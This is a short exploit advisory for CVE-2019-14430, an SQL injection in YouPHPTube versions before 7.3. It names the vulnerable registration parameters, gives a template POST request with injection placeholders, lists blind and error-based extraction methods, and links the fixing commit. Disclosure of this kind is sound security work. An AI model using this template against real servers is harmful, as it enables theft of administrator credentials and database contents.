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# Exploit Title: YouPHPTube < 7.3 SQL Injection  
# Google Dork: /  
# Date: 19.08.2019  
# Exploit Author: Fabian Mosch, r-tec IT Security GmbH  
# Vendor Homepage: https://www.youphptube.com/  
# Software Link: https://github.com/YouPHPTube/YouPHPTube  
# Version: < 7.3  
# Tested on: Linux/Windows  
# CVE : CVE-2019-14430  
  
The parameters "User" as well as "pass" of the user registration function are vulnerable to SQL injection vulnerabilities. By submitting an HTTP POST request to the URL "/objects/userCreate.json.php" an attacker can access the database and read the hashed credentials of an administrator for example.  
  
Example Request:  
  
POST /objects/userCreate.json.php HTTP/1.1  
Host: vulnerablehost.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
[SomeHeaders and Cookies]  
  
user=tes'INJECTHERE&pass=test'INJECTHERE &email=test%40example.com&name=test&captcha=xxxxx  
  
Methods for DB-Extraction are:  
  
  
- Boolean-based blind  
  
- Error-based  
  
- AND/OR time-based blind  
  
  
The vulnerability was fixed with this commit:  
https://github.com/YouPHPTube/YouPHPTube/commit/891843d547f7db5639925a67b7f2fd66721f703a